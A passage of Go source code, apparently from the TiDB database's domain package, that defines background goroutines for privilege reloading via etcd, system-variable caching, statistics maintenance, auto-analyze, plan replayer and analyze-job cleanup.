case <-do.exit: return case resp, ok := <-watchCh: if ok { count = 0 event = do.decodePrivilegeEvent(resp) event = do.batchReadMoreData(watchCh, event) } else { if do.ctx.Err() == nil { logutil.BgLogger().Error(""load privilege loop watch channel closed"") watchCh = do.etcdClient.Watch(do.ctx, privilegeKey) count++ if count > 10 { time.Sleep(time.Duration(count) * time.Second) } continue } } case <-time.After(duration): event.All = true event = do.batchReadMoreData(watchCh, event) } // All events are from this TiDB-Server, skip them if !event.All && len(event.UserList) == 0 { continue } err := privReloadEvent(do.privHandle, &event) metrics.LoadPrivilegeCounter.WithLabelValues(metrics.RetLabel(err)).Inc() if err != nil { logutil.BgLogger().Error(""load privilege failed"", zap.Error(err)) } } }, ""loadPrivilegeInLoop"") return nil } func privReloadEvent(h *privileges.Handle, event *PrivilegeEvent) (err error) { switch { case !vardef.AccelerateUserCreationUpdate.Load(): err = h.UpdateAll() case event.All: err = h.UpdateAllActive() default: err = h.Update(event.UserList) } return } // LoadSysVarCacheLoop create a goroutine loads sysvar cache in a loop, // it should be called only once in BootstrapSession. func (do *Domain) LoadSysVarCacheLoop(ctx sessionctx.Context) error { ctx.GetSessionVars().InRestrictedSQL = true err := do.rebuildSysVarCache(ctx) if err != nil { return err } var watchCh clientv3.WatchChan duration := 30 * time.Second if do.etcdClient != nil { watchCh = do.etcdClient.Watch(context.Background(), sysVarCacheKey) } do.wg.Run(func() { defer func() { logutil.BgLogger().Info(""LoadSysVarCacheLoop exited."") }() defer util.Recover(metrics.LabelDomain, ""LoadSysVarCacheLoop"", nil, false) var count int for { ok := true select { case <-do.exit: return case _, ok = <-watchCh: case <-time.After(duration): } failpoint.Inject(""skipLoadSysVarCacheLoop"", func(val failpoint.Value) { // In some pkg integration test, there are many testSuite, and each testSuite has separate storage and // `LoadSysVarCacheLoop` background goroutine. Then each testSuite `RebuildSysVarCache` from it's // own storage. // Each testSuit will also call `checkEnableServerGlobalVar` to update some local variables. // That's the problem, each testSuit use different storage to update some same local variables. // So just skip `RebuildSysVarCache` in some integration testing. if val.(bool) { failpoint.Continue() } }) if !ok { logutil.BgLogger().Error(""LoadSysVarCacheLoop loop watch channel closed"") watchCh = do.etcdClient.Watch(context.Background(), sysVarCacheKey) count++ if count > 10 { time.Sleep(time.Duration(count) * time.Second) } continue } count = 0 logutil.BgLogger().Debug(""Rebuilding sysvar cache from etcd watch event."") err := do.rebuildSysVarCache(ctx) metrics.LoadSysVarCacheCounter.WithLabelValues(metrics.RetLabel(err)).Inc() if err != nil { logutil.BgLogger().Error(""LoadSysVarCacheLoop failed"", zap.Error(err)) } } }, ""LoadSysVarCacheLoop"") return nil } // WatchTiFlashComputeNodeChange create a routine to watch if the topology of tiflash_compute node is changed. // TODO: tiflashComputeNodeKey is not put to etcd yet(finish this when AutoScaler is done) // // store cache will only be invalidated every n seconds. func (do *Domain) WatchTiFlashComputeNodeChange() error { var watchCh clientv3.WatchChan if do.etcdClient != nil { watchCh = do.etcdClient.Watch(context.Background(), tiflashComputeNodeKey) } duration := 10 * time.Second do.wg.Run(func() { defer func() { logutil.BgLogger().Info(""WatchTiFlashComputeNodeChange exit"") }() defer util.Recover(metrics.LabelDomain, ""WatchTiFlashComputeNodeChange"", nil, false) var count int var logCount int for { ok := true var watched bool select { case <-do.exit: return case _, ok = <-watchCh: watched = true case <-time.After(duration): } if !ok { logutil.BgLogger().Error(""WatchTiFlashComputeNodeChange watch channel closed"") watchCh = do.etcdClient.Watch(context.Background(), tiflashComputeNodeKey) count++ if count > 10 { time.Sleep(time.Duration(count) * time.Second) } continue } count = 0 switch s := do.store.(type) { case tikv.Storage: logCount++ s.GetRegionCache().InvalidateTiFlashComputeStores() if logCount == 6 { // Print log every 6*duration seconds. logutil.BgLogger().Debug(""tiflash_compute store cache invalied, will update next query"", zap.Bool(""watched"", watched)) logCount = 0 } default: logutil.BgLogger().Debug(""No need to watch tiflash_compute store cache for non-tikv store"") return } } }, ""WatchTiFlashComputeNodeChange"") return nil } // PrivilegeHandle returns the MySQLPrivilege. func (do *Domain) PrivilegeHandle() *privileges.Handle { return do.privHandle } // BindingHandle returns domain's bindHandle. func (do *Domain) BindingHandle() bindinfo.BindingHandle { v := do.bindHandle.Load() if v == nil { return nil } return v.(bindinfo.BindingHandle) } // InitBindingHandle create a goroutine loads BindInfo in a loop, it should // be called only once in BootstrapSession. func (do *Domain) InitBindingHandle() error { do.bindHandle.Store(bindinfo.NewBindingHandle(do.sysSessionPool)) err := do.BindingHandle().LoadFromStorageToCache(true) if err != nil || bindinfo.Lease == 0 { return err } owner := do.NewOwnerManager(bindinfo.Prompt, bindinfo.OwnerKey) err = owner.CampaignOwner() if err != nil { logutil.BgLogger().Warn(""campaign owner failed"", zap.Error(err)) return err } do.globalBindHandleWorkerLoop(owner) return nil } func (do *Domain) globalBindHandleWorkerLoop(owner owner.Manager) { do.wg.Run(func() { defer func() { logutil.BgLogger().Info(""globalBindHandleWorkerLoop exited."") }() defer util.Recover(metrics.LabelDomain, ""globalBindHandleWorkerLoop"", nil, false) bindWorkerTicker := time.NewTicker(bindinfo.Lease) gcBindTicker := time.NewTicker(100 * bindinfo.Lease) defer func() { bindWorkerTicker.Stop() gcBindTicker.Stop() }() for { select { case <-do.exit: do.BindingHandle().Close() owner.Close() return case <-bindWorkerTicker.C: bindHandle := do.BindingHandle() err := bindHandle.LoadFromStorageToCache(false) if err != nil { logutil.BgLogger().Error(""update bindinfo failed"", zap.Error(err)) } case <-gcBindTicker.C: if !owner.IsOwner() { continue } err := do.BindingHandle().GCBinding() if err != nil { logutil.BgLogger().Error(""GC bind record failed"", zap.Error(err)) } } } }, ""globalBindHandleWorkerLoop"") } // SetupPlanReplayerHandle setup plan replayer handle func (do *Domain) SetupPlanReplayerHandle(collectorSctx sessionctx.Context, workersSctxs []sessionctx.Context) { ctx := kv.WithInternalSourceType(context.Background(), kv.InternalTxnStats) do.planReplayerHandle = &planReplayerHandle{} do.planReplayerHandle.planReplayerTaskCollectorHandle = &planReplayerTaskCollectorHandle{ ctx: ctx, sctx: collectorSctx, } taskCH := make(chan *PlanReplayerDumpTask, 16) taskStatus := &planReplayerDumpTaskStatus{} taskStatus.finishedTaskMu.finishedTask = map[replayer.PlanReplayerTaskKey]struct{}{} taskStatus.runningTaskMu.runningTasks = map[replayer.PlanReplayerTaskKey]struct{}{} do.planReplayerHandle.planReplayerTaskDumpHandle = &planReplayerTaskDumpHandle{ taskCH: taskCH, status: taskStatus, } do.planReplayerHandle.planReplayerTaskDumpHandle.workers = make([]*planReplayerTaskDumpWorker, 0) for i := range workersSctxs { worker := &planReplayerTaskDumpWorker{ ctx: ctx, sctx: workersSctxs[i], taskCH: taskCH, status: taskStatus, } do.planReplayerHandle.planReplayerTaskDumpHandle.workers = append(do.planReplayerHandle.planReplayerTaskDumpHandle.workers, worker) } } // RunawayManager returns the runaway manager. func (do *Domain) RunawayManager() *runaway.Manager { return do.runawayManager } // ResourceGroupsController returns the resource groups controller. func (do *Domain) ResourceGroupsController() *rmclient.ResourceGroupsController { return do.resourceGroupsController } // SetResourceGroupsController is only used in test. func (do *Domain) SetResourceGroupsController(controller *rmclient.ResourceGroupsController) { do.resourceGroupsController = controller } // SetupHistoricalStatsWorker setups worker func (do *Domain) SetupHistoricalStatsWorker(ctx sessionctx.Context) { do.historicalStatsWorker = &HistoricalStatsWorker{ tblCH: make(chan int64, 16), sctx: ctx, } } // SetupDumpFileGCChecker setup sctx func (do *Domain) SetupDumpFileGCChecker(ctx sessionctx.Context) { do.dumpFileGcChecker.setupSctx(ctx) do.dumpFileGcChecker.planReplayerTaskStatus = do.planReplayerHandle.status } // SetupExtractHandle setups extract handler func (do *Domain) SetupExtractHandle(sctxs []sessionctx.Context) { do.extractTaskHandle = newExtractHandler(do.ctx, sctxs) } var planReplayerHandleLease atomic.Uint64 func init() { planReplayerHandleLease.Store(uint64(10 * time.Second)) enableDumpHistoricalStats.Store(true) } // DisablePlanReplayerBackgroundJob4Test disable plan replayer handle for test func DisablePlanReplayerBackgroundJob4Test() { planReplayerHandleLease.Store(0) } // DisableDumpHistoricalStats4Test disable historical dump worker for test func DisableDumpHistoricalStats4Test() { enableDumpHistoricalStats.Store(false) } // StartPlanReplayerHandle start plan replayer handle job func (do *Domain) StartPlanReplayerHandle() { lease := planReplayerHandleLease.Load() if lease < 1 { return } do.wg.Run(func() { logutil.BgLogger().Info(""PlanReplayerTaskCollectHandle started"") tikcer := time.NewTicker(time.Duration(lease)) defer func() { tikcer.Stop() logutil.BgLogger().Info(""PlanReplayerTaskCollectHandle exited."") }() defer util.Recover(metrics.LabelDomain, ""PlanReplayerTaskCollectHandle"", nil, false) for { select { case <-do.exit: return case <-tikcer.C: err := do.planReplayerHandle.CollectPlanReplayerTask() if err != nil { logutil.BgLogger().Warn(""plan replayer handle collect tasks failed"", zap.Error(err)) } } } }, ""PlanReplayerTaskCollectHandle"") do.wg.Run(func() { logutil.BgLogger().Info(""PlanReplayerTaskDumpHandle started"") defer func() { logutil.BgLogger().Info(""PlanReplayerTaskDumpHandle exited."") }() defer util.Recover(metrics.LabelDomain, ""PlanReplayerTaskDumpHandle"", nil, false) for _, worker := range do.planReplayerHandle.planReplayerTaskDumpHandle.workers { go worker.run() } <-do.exit do.planReplayerHandle.planReplayerTaskDumpHandle.Close() }, ""PlanReplayerTaskDumpHandle"") } // GetPlanReplayerHandle returns plan replayer handle func (do *Domain) GetPlanReplayerHandle() *planReplayerHandle { return do.planReplayerHandle } // GetExtractHandle returns extract handle func (do *Domain) GetExtractHandle() *ExtractHandle { return do.extractTaskHandle } // GetDumpFileGCChecker returns dump file GC checker for plan replayer and plan trace func (do *Domain) GetDumpFileGCChecker() *dumpFileGcChecker { return do.dumpFileGcChecker } // DumpFileGcCheckerLoop creates a goroutine that handles `exit` and `gc`. func (do *Domain) DumpFileGcCheckerLoop() { do.wg.Run(func() { logutil.BgLogger().Info(""dumpFileGcChecker started"") gcTicker := time.NewTicker(do.dumpFileGcChecker.gcLease) defer func() { gcTicker.Stop() logutil.BgLogger().Info(""dumpFileGcChecker exited."") }() defer util.Recover(metrics.LabelDomain, ""dumpFileGcCheckerLoop"", nil, false) for { select { case <-do.exit: return case <-gcTicker.C: do.dumpFileGcChecker.GCDumpFiles(time.Hour, time.Hour*24*7) } } }, ""dumpFileGcChecker"") } // GetHistoricalStatsWorker gets historical workers func (do *Domain) GetHistoricalStatsWorker() *HistoricalStatsWorker { return do.historicalStatsWorker } // EnableDumpHistoricalStats used to control whether enable dump stats for unit test var enableDumpHistoricalStats atomic.Bool // StartHistoricalStatsWorker start historical workers running func (do *Domain) StartHistoricalStatsWorker() { if !enableDumpHistoricalStats.Load() { return } do.wg.Run(func() { logutil.BgLogger().Info(""HistoricalStatsWorker started"") defer func() { logutil.BgLogger().Info(""HistoricalStatsWorker exited."") }() defer util.Recover(metrics.LabelDomain, ""HistoricalStatsWorkerLoop"", nil, false) for { select { case <-do.exit: close(do.historicalStatsWorker.tblCH) return case tblID, ok := <-do.historicalStatsWorker.tblCH: if !ok { return } err := do.historicalStatsWorker.DumpHistoricalStats(tblID, do.StatsHandle()) if err != nil { logutil.BgLogger().Warn(""dump historical stats failed"", zap.Error(err), zap.Int64(""tableID"", tblID)) } } } }, ""HistoricalStatsWorker"") } // StatsHandle returns the statistic handle. func (do *Domain) StatsHandle() *handle.Handle { return do.statsHandle.Load() } // CreateStatsHandle is used only for test. func (do *Domain) CreateStatsHandle(ctx context.Context, initStatsCtx sessionctx.Context) error { h, err := handle.NewHandle( ctx, initStatsCtx, do.statsLease, do.sysSessionPool, &do.sysProcesses, do.ddlNotifier, do.NextConnID, do.ReleaseConnID, ) if err != nil { return err } h.StartWorker() do.statsHandle.Store(h) return nil } // StatsUpdating checks if the stats worker is updating. func (do *Domain) StatsUpdating() bool { return do.statsUpdating.Load() > 0 } // SetStatsUpdating sets the value of stats updating. func (do *Domain) SetStatsUpdating(val bool) { if val { do.statsUpdating.Store(1) } else { do.statsUpdating.Store(0) } } // LoadAndUpdateStatsLoop loads and updates stats info. func (do *Domain) LoadAndUpdateStatsLoop(concurrency int, initStatsCtx sessionctx.Context) error { if err := do.UpdateTableStatsLoop(initStatsCtx); err != nil { return err } do.StartLoadStatsSubWorkers(concurrency) return nil } // UpdateTableStatsLoop creates a goroutine loads stats info and updates stats info in a loop. // It will also start a goroutine to analyze tables automatically. // It should be called only once in BootstrapSession. func (do *Domain) UpdateTableStatsLoop(initStatsCtx sessionctx.Context) error { statsHandle, err := handle.NewHandle( do.ctx, initStatsCtx, do.statsLease, do.sysSessionPool, &do.sysProcesses, do.ddlNotifier, do.NextConnID, do.ReleaseConnID, ) if err != nil { return err } statsHandle.StartWorker() do.statsHandle.Store(statsHandle) do.ddl.RegisterStatsHandle(statsHandle) // Negative stats lease indicates that it is in test or in br binary mode, it does not need update. if do.statsLease >= 0 { do.wg.Run(do.loadStatsWorker, ""loadStatsWorker"") } variable.EnableStatsOwner = do.enableStatsOwner variable.DisableStatsOwner = do.disableStatsOwner do.statsOwner = do.NewOwnerManager(handle.StatsPrompt, handle.StatsOwnerKey) do.statsOwner.SetListener(owner.NewListenersWrapper(statsHandle, do.ddlNotifier)) if config.GetGlobalConfig().Instance.TiDBEnableStatsOwner.Load() { err := do.statsOwner.CampaignOwner() if err != nil { logutil.BgLogger().Warn(""campaign owner failed"", zap.Error(err)) return err } } do.wg.Run(func() { do.indexUsageWorker() }, ""indexUsageWorker"") if do.statsLease <= 0 { // For statsLease > 0, `gcStatsWorker` handles the quit of stats owner. do.wg.Run(func() { quitStatsOwner(do, do.statsOwner) }, ""quitStatsOwner"") return nil } waitStartTask := func(do *Domain, fn func()) { select { case <-do.StatsHandle().InitStatsDone: case <-do.exit: // It may happen that before initStatsDone, tidb receive Ctrl+C return } fn() } do.SetStatsUpdating(true) // The asyncLoadHistogram/dumpColStatsUsageWorker/deltaUpdateTickerWorker doesn't require the stats initialization to be completed. // This is because thos workers' primary responsibilities are to update the change delta and handle DDL operations. // These tasks need to be in work mod as soon as possible to avoid the problem. do.wg.Run(do.asyncLoadHistogram, ""asyncLoadHistogram"") do.wg.Run(do.deltaUpdateTickerWorker, ""deltaUpdateTickerWorker"") do.wg.Run(do.dumpColStatsUsageWorker, ""dumpColStatsUsageWorker"") do.wg.Run(func() { waitStartTask(do, do.gcStatsWorker) }, ""gcStatsWorker"") // Wait for the stats worker to finish the initialization. // Otherwise, we may start the auto analyze worker before the stats cache is initialized. do.wg.Run(func() { waitStartTask(do, do.autoAnalyzeWorker) }, ""autoAnalyzeWorker"") do.wg.Run(func() { waitStartTask(do, do.analyzeJobsCleanupWorker) }, ""analyzeJobsCleanupWorker"") do.wg.Run( func() { // The initStatsCtx is used to store the internal session for initializing stats, // so we need the gc min start ts calculation to track it as an internal session. // Since the session manager may not be ready at this moment, `infosync.StoreInternalSession` can fail. // we need to retry until the session manager is ready or the init stats completes. for !infosync.StoreInternalSession(initStatsCtx) { waitRetry := time.After(time.Second) select { case <-do.StatsHandle().InitStatsDone: return case <-waitRetry: } } select { case <-do.StatsHandle().InitStatsDone: case <-do.exit: // It may happen that before initStatsDone, tidb receive Ctrl+C return } infosync.DeleteInternalSession(initStatsCtx) }, ""RemoveInitStatsFromInternalSessions"", ) return nil } // enableStatsOwner enables this node to execute stats owner jobs. // Since ownerManager.CampaignOwner will start a new goroutine to run ownerManager.campaignLoop, // we should make sure that before invoking enableStatsOwner(), stats owner is DISABLE. func (do *Domain) enableStatsOwner() error { if !do.statsOwner.IsOwner() { err := do.statsOwner.CampaignOwner() return errors.Trace(err) } return nil } // disableStatsOwner disable this node to execute stats owner. // We should make sure that before invoking disableStatsOwner(), stats owner is ENABLE. func (do *Domain) disableStatsOwner() error { // disable campaign by interrupting campaignLoop do.statsOwner.CampaignCancel() return nil } func quitStatsOwner(do *Domain, mgr owner.Manager) { <-do.exit mgr.Close() } // StartLoadStatsSubWorkers starts sub workers with new sessions to load stats concurrently. func (do *Domain) StartLoadStatsSubWorkers(concurrency int) { statsHandle := do.StatsHandle() for range concurrency { do.wg.Add(1) go statsHandle.SubLoadWorker(do.exit, do.wg) } logutil.BgLogger().Info(""start load stats sub workers"", zap.Int(""workerCount"", concurrency)) } // NewOwnerManager returns the owner manager for use outside of the domain. func (do *Domain) NewOwnerManager(prompt, ownerKey string) owner.Manager { id := do.ddl.OwnerManager().ID() var statsOwner owner.Manager if do.etcdClient == nil { statsOwner = owner.NewMockManager(do.ctx, id, do.store, ownerKey) } else { statsOwner = owner.NewOwnerManager(do.ctx, do.etcdClient, prompt, id, ownerKey) } return statsOwner } func (do *Domain) initStats(ctx context.Context) { statsHandle := do.StatsHandle() defer func() { if r := recover(); r != nil { logutil.BgLogger().Error(""panic when initiating stats"", zap.Any(""r"", r), zap.Stack(""stack"")) } close(statsHandle.InitStatsDone) }() t := time.Now() liteInitStats := config.GetGlobalConfig().Performance.LiteInitStats initstats.InitStatsPercentage.Store(0) var err error if liteInitStats { err = statsHandle.InitStatsLite(ctx) } else { err = statsHandle.InitStats(ctx, do.InfoSchema()) } initstats.InitStatsPercentage.Store(100) if err != nil { statslogutil.StatsLogger().Error(""Init stats failed"", zap.Bool(""isLiteInitStats"", liteInitStats), zap.Duration(""duration"", time.Since(t)), zap.Error(err)) } else { statslogutil.StatsLogger().Info(""Init stats succeed"", zap.Bool(""isLiteInitStats"", liteInitStats), zap.Duration(""duration"", time.Since(t))) } } func (do *Domain) loadStatsWorker() { defer util.Recover(metrics.LabelDomain, ""loadStatsWorker"", nil, false) lease := do.statsLease if lease == 0 { lease = 3 * time.Second } loadTicker := time.NewTicker(lease) defer func() { loadTicker.Stop() logutil.BgLogger().Info(""loadStatsWorker exited."") }() ctx, cancelFunc := context.WithCancel(context.Background()) do.cancelFns.mu.Lock() do.cancelFns.fns = append(do.cancelFns.fns, cancelFunc) do.cancelFns.mu.Unlock() do.initStats(ctx) statsHandle := do.StatsHandle() var err error for { select { case <-loadTicker.C: err = statsHandle.Update(ctx, do.InfoSchema()) if err != nil { logutil.BgLogger().Warn(""update stats info failed"", zap.Error(err)) } case <-do.exit: return } } } func (do *Domain) asyncLoadHistogram() { defer util.Recover(metrics.LabelDomain, ""asyncLoadStats"", nil, false) lease := do.statsLease if lease == 0 { lease = 3 * time.Second } cleanupTicker := time.NewTicker(lease) defer func() { cleanupTicker.Stop() logutil.BgLogger().Info(""asyncLoadStats exited."") }() select { case <-do.StatsHandle().InitStatsDone: case <-do.exit: // It may happen that before initStatsDone, tidb receive Ctrl+C return } statsHandle := do.StatsHandle() var err error for { select { case <-cleanupTicker.C: err = statsHandle.LoadNeededHistograms(do.InfoSchema()) if err != nil { statslogutil.StatsErrVerboseSampleLogger().Warn(""Load histograms failed"", zap.Error(err)) } case <-do.exit: return } } } func (do *Domain) indexUsageWorker() { defer util.Recover(metrics.LabelDomain, ""indexUsageWorker"", nil, false) gcStatsTicker := time.NewTicker(indexUsageGCDuration) handle := do.StatsHandle() defer func() { logutil.BgLogger().Info(""indexUsageWorker exited."") }() for { select { case <-do.exit: return case <-gcStatsTicker.C: if err := handle.GCIndexUsage(); err != nil { statslogutil.StatsLogger().Error(""gc index usage failed"", zap.Error(err)) } } } } func (do *Domain) gcStatsWorkerExitPreprocessing() { ch := make(chan struct{}, 1) timeout, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() go func() { logutil.BgLogger().Info(""gcStatsWorker ready to release owner"") do.statsOwner.Close() ch <- struct{}{} }() select { case <-ch: logutil.BgLogger().Info(""gcStatsWorker exit preprocessing finished"") return case <-timeout.Done(): logutil.BgLogger().Warn(""gcStatsWorker exit preprocessing timeout, force exiting"") return } } func (*Domain) deltaUpdateTickerWorkerExitPreprocessing(statsHandle *handle.Handle) { ch := make(chan struct{}, 1) timeout, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() go func() { logutil.BgLogger().Info(""deltaUpdateTicker is going to exit, start to flush stats"") statsHandle.FlushStats() ch <- struct{}{} }() select { case <-ch: logutil.BgLogger().Info(""deltaUpdateTicker exit preprocessing finished"") return case <-timeout.Done(): logutil.BgLogger().Warn(""deltaUpdateTicker exit preprocessing timeout, force exiting"") return } } func (do *Domain) gcStatsWorker() { defer util.Recover(metrics.LabelDomain, ""gcStatsWorker"", nil, false) logutil.BgLogger().Info(""gcStatsWorker started."") lease := do.statsLease gcStatsTicker := time.NewTicker(100 * lease) updateStatsHealthyTicker := time.NewTicker(20 * lease) readMemTicker := time.NewTicker(memory.ReadMemInterval) statsHandle := do.StatsHandle() defer func() { gcStatsTicker.Stop() readMemTicker.Stop() updateStatsHealthyTicker.Stop() do.SetStatsUpdating(false) logutil.BgLogger().Info(""gcStatsWorker exited."") }() defer util.Recover(metrics.LabelDomain, ""gcStatsWorker"", nil, false) for { select { case <-do.exit: do.gcStatsWorkerExitPreprocessing() return case <-gcStatsTicker.C: if !do.statsOwner.IsOwner() { continue } err := statsHandle.GCStats(do.InfoSchema(), do.GetSchemaLease()) if err != nil { logutil.BgLogger().Warn(""GC stats failed"", zap.Error(err)) } do.CheckAutoAnalyzeWindows() case <-readMemTicker.C: memory.ForceReadMemStats() do.StatsHandle().StatsCache.TriggerEvict() case <-updateStatsHealthyTicker.C: statsHandle.UpdateStatsHealthyMetrics() } } } func (do *Domain) dumpColStatsUsageWorker() { logutil.BgLogger().Info(""dumpColStatsUsageWorker started."") lease := do.statsLease dumpColStatsUsageTicker := time.NewTicker(100 * lease) statsHandle := do.StatsHandle() defer func() { dumpColStatsUsageTicker.Stop() logutil.BgLogger().Info(""dumpColStatsUsageWorker exited."") }() defer util.Recover(metrics.LabelDomain, ""dumpColStatsUsageWorker"", nil, false) for { select { case <-do.exit: return case <-dumpColStatsUsageTicker.C: err := statsHandle.DumpColStatsUsageToKV() if err != nil { logutil.BgLogger().Warn(""dump column stats usage failed"", zap.Error(err)) } } } } func (do *Domain) deltaUpdateTickerWorker() { defer util.Recover(metrics.LabelDomain, ""deltaUpdateTickerWorker"", nil, false) logutil.BgLogger().Info(""deltaUpdateTickerWorker started."") lease := do.statsLease // We need to have different nodes trigger tasks at different times to avoid the herd effect. randDuration := time.Duration(rand.Int63n(int64(time.Minute))) deltaUpdateTicker := time.NewTicker(20*lease + randDuration) statsHandle := do.StatsHandle() for { select { case <-do.exit: do.deltaUpdateTickerWorkerExitPreprocessing(statsHandle) return case <-deltaUpdateTicker.C: err := statsHandle.DumpStatsDeltaToKV(false) if err != nil { logutil.BgLogger().Warn(""dump stats delta failed"", zap.Error(err)) } } } } func (do *Domain) autoAnalyzeWorker() { defer util.Recover(metrics.LabelDomain, ""autoAnalyzeWorker"", nil, false) statsHandle := do.StatsHandle() analyzeTicker := time.NewTicker(do.statsLease) defer func() { analyzeTicker.Stop() statslogutil.StatsLogger().Info(""autoAnalyzeWorker exited."") }() for { select { case <-analyzeTicker.C: // In order to prevent tidb from being blocked by the auto analyze task during shutdown, // a stopautoanalyze is added here for judgment. // // The reason for checking of stopAutoAnalyze is following: // According to the issue#41318, if we don't check stopAutoAnalyze here, the autoAnalyzeWorker will be tricker // again when domain.exit is true. // The ""case <-analyzeTicker.C"" condition and ""case <-do.exit"" condition are satisfied at the same time // when the system is already executing the shutdown task. // At this time, the Go language will randomly select a case that meets the conditions to execute, // and there is a probability that a new autoanalyze task will be started again // when the system has already executed the shutdown. // Because the time interval of statsLease is much smaller than the execution speed of auto analyze. // Therefore, when the current auto analyze is completed, // the probability of this happening is very high that the ticker condition and exist condition will be met // at the same time. // This causes the auto analyze task to be triggered all the time and block the shutdown of tidb. if vardef.RunAutoAnalyze.Load() && !do.stopAutoAnalyze.Load() && do.statsOwner.IsOwner() { statsHandle.HandleAutoAnalyze() } case <-do.exit: return } } } // analyzeJobsCleanupWorker is a background worker that periodically performs two main tasks: // // 1. Garbage Collection: It removes outdated analyze jobs from the statistics handle. // This operation is performed every hour and only if the current instance is the owner. // Analyze jobs older than 7 days are considered outdated and are removed. // // 2. Cleanup: It cleans up corrupted analyze jobs. // A corrupted analyze job is one that is in a 'pending' or 'running' state, // but is associated with a TiDB instance that is either not currently running or has been restarted. // Also, if the analyze job is killed by the user, it is considered corrupted. // This operation is performed every 100 stats leases. // It first retrieves the list of current analyze processes, then removes any analyze job // that is not associated with a current process. Additionally, if the current instance is the owner, // it also cleans up corrupted analyze jobs on dead instances. func (do *Domain) analyzeJobsCleanupWorker() { defer util.Recover(metrics.LabelDomain, ""analyzeJobsCleanupWorker"", nil, false) // For GC. const gcInterval = time.Hour const daysToKeep = 7 gcTicker := time.NewTicker(gcInterval) // For clean up. // Default stats lease is 3 * time.Second. // So cleanupInterval is 100 * 3 * time.Second = 5 * time.Minute. var cleanupInterval = do.statsLease * 100 cleanupTicker := time.NewTicker(cleanupInterval) defer func() { gcTicker.Stop() cleanupTicker.Stop() logutil.BgLogger().Info(""analyzeJobsCleanupWorker exited."") }() statsHandle := do.StatsHandle() for { select { case <-gcTicker.C: // Only the owner should perform this operation. if do.statsOwner.IsOwner() { updateTime := time.Now().AddDate(0, 0, -daysToKeep) err := statsHandle.DeleteAnalyzeJobs(updateTime) if err != nil { logutil.BgLogger().Warn(""gc analyze history failed"", zap.Error(err)) } } case <-cleanupTicker.C: sm := do.InfoSyncer().GetSessionManager() if sm == nil { continue } analyzeProcessIDs := make(map[uint64]struct{}, 8) for _, process := range sm.ShowProcessList() { if isAnalyzeTableSQL(process.Info) { analyzeProcessIDs[process.ID] = struct{}{} } } err := statsHandle.CleanupCorruptedAnalyzeJobsOnCurrentInstance(analyzeProcessIDs) if err != nil { logutil.BgLogger().Warn(""cleanup analyze jobs on current instance failed"", zap.Error(err)) } if do.statsOwner.IsOwner() { err = statsHandle.CleanupCorruptedAnalyzeJobsOnDeadInstances() if err != nil { logutil.BgLogger().Warn(""cleanup analyze jobs on dead instances failed"", zap.Error(err)) } } case <-do.exit: return } } } func isAnalyzeTableSQL(sql string) bool { // Get rid of the comments. normalizedSQL := parser.Normalize(sql, ""ON"") return strings.HasPrefix(normalizedSQL, ""analyze table"") } // ExpensiveQueryHandle returns the expensive query handle. func (do *Domain) ExpensiveQueryHandle() *expensivequery.Handle { return do.expensiveQueryHandle } // MemoryUsageAlarmHandle returns the memory usage alarm handle. func (do *Domain) MemoryUsageAlarmHandle() *memoryusagealarm.Handle { return do.memoryUsageAlarmHandle } // ServerMemoryLimitHandle returns the expensive query handle. func (do *Domain) ServerMemoryLimitHandle() *servermemorylimit.Handle { return do.serverMemoryLimitHandle } const ( privilegeKey = ""/tidb/privilege"" sysVarCacheKey = ""/tidb/sysvars"" tiflashComputeNodeKey = ""/tiflash/new_tiflash_compute_nodes"" ) // PrivilegeEvent is the message definition for NotifyUpdatePrivilege(), encoded in json. // TiDB old version do not use no such message. type PrivilegeEvent struct { All bool ServerID uint64 UserList []string } // NotifyUpdateAllUsersPrivilege updates privilege key in etcd, TiDB client that watches // the key will get notification. func (do *Domain) NotifyUpdateAllUsersPrivilege() error { return do.notifyUpdatePrivilege(PrivilegeEvent{All: true}) } // NotifyUpdatePrivilege updates privilege key in etcd, TiDB client that watches // the key will get notification. func (do *Domain) NotifyUpdatePrivilege(userList []string) error { return do.notifyUpdatePrivilege(PrivilegeEvent{UserList: userList}) } func (do *Domain) notifyUpdatePrivilege(event PrivilegeEvent) error { // No matter skip-grant-table is configured or not, sending an etcd message is required. // Because we need to tell other TiDB instances to update privilege data, say, we're changing the // password using a special TiDB instance and want the new password to take effect. if do.etcdClient != nil { event.ServerID = do.serverID data, err := json.Marshal(event) if err != nil { return errors.Trace(err) } if uint64(len(data)) > size.MB { logutil.BgLogger().Warn(""notify update privilege message too large"", zap.ByteString(""value"", data)) } err = ddlutil.PutKVToEtcd(do.ctx, do.etcdClient, ddlutil.KeyOpDefaultRetryCnt, privilegeKey, string(data)) if err != nil { logutil.BgLogger().Warn(""notify update privilege failed"", zap.Error(err)) } } // If skip-grant-table is configured, do not flush privileges. // Because LoadPrivilegeLoop does not run and the privilege Handle is nil, // the call to do.PrivilegeHandle().Update would panic. if config.GetGlobalConfig().Security.SkipGrantTable { return nil } return privReloadEvent(do.PrivilegeHandle(), &event) } // NotifyUpdateSysVarCache updates the sysvar cache key in etcd, which other TiDB // clients are subscribed to for updates. For the caller, the cache is also built // synchronously so that the effect is immediate. func (do *Domain) NotifyUpdateSysVarCache(updateLocal bool) { if do.etcdClient != nil { err := ddlutil.PutKVToEtcd(context.Background(), do.etcdClient, ddlutil.KeyOpDefaultRetryCnt, sysVarCacheKey, """") if err != nil { logutil.BgLogger().Warn(""notify update sysvar cache failed"", zap.Error(err)) } } // update locally if updateLocal { if err := do.rebuildSysVarCache(nil); err != nil { logutil.BgLogger().Error(""rebuilding sysvar cache failed"", zap.Error(err)) } } } // LoadSigningCertLoop loads the signing cert periodically to make sure it's fresh new. func (do *Domain) LoadSigningCertLoop(signingCert, signingKey string) { sessionstates.SetCertPath(signingCert) sessionstates.SetKeyPath(signingKey) do.wg.Run(func() { defer func() { logutil.BgLogger().Debug(""loadSigningCertLoop exited."") }() defer util.Recover(metrics.LabelDomain, ""LoadSigningCertLoop"", nil, false) for { select { case <-time.After(sessionstates.LoadCertInterval): sessionstates.ReloadSigningCert() case <-do.exit: return } } }, ""loadSigningCertLoop"") } // ServerID gets serverID. func (do *Domain) ServerID() uint64 { return atomic.LoadUint64(&do.serverID) } // IsLostConnectionToPD indicates lost connection to PD or not. func (do *Domain) IsLostConnectionToPD() bool { return do.isLostConnectionToPD.Load() != 0 } // NextConnID return next connection ID. func (do *Domain) NextConnID() uint64 { return do.connIDAllocator.NextID() } // ReleaseConnID releases connection ID. func (do *Domain) ReleaseConnID(connID uint64) { 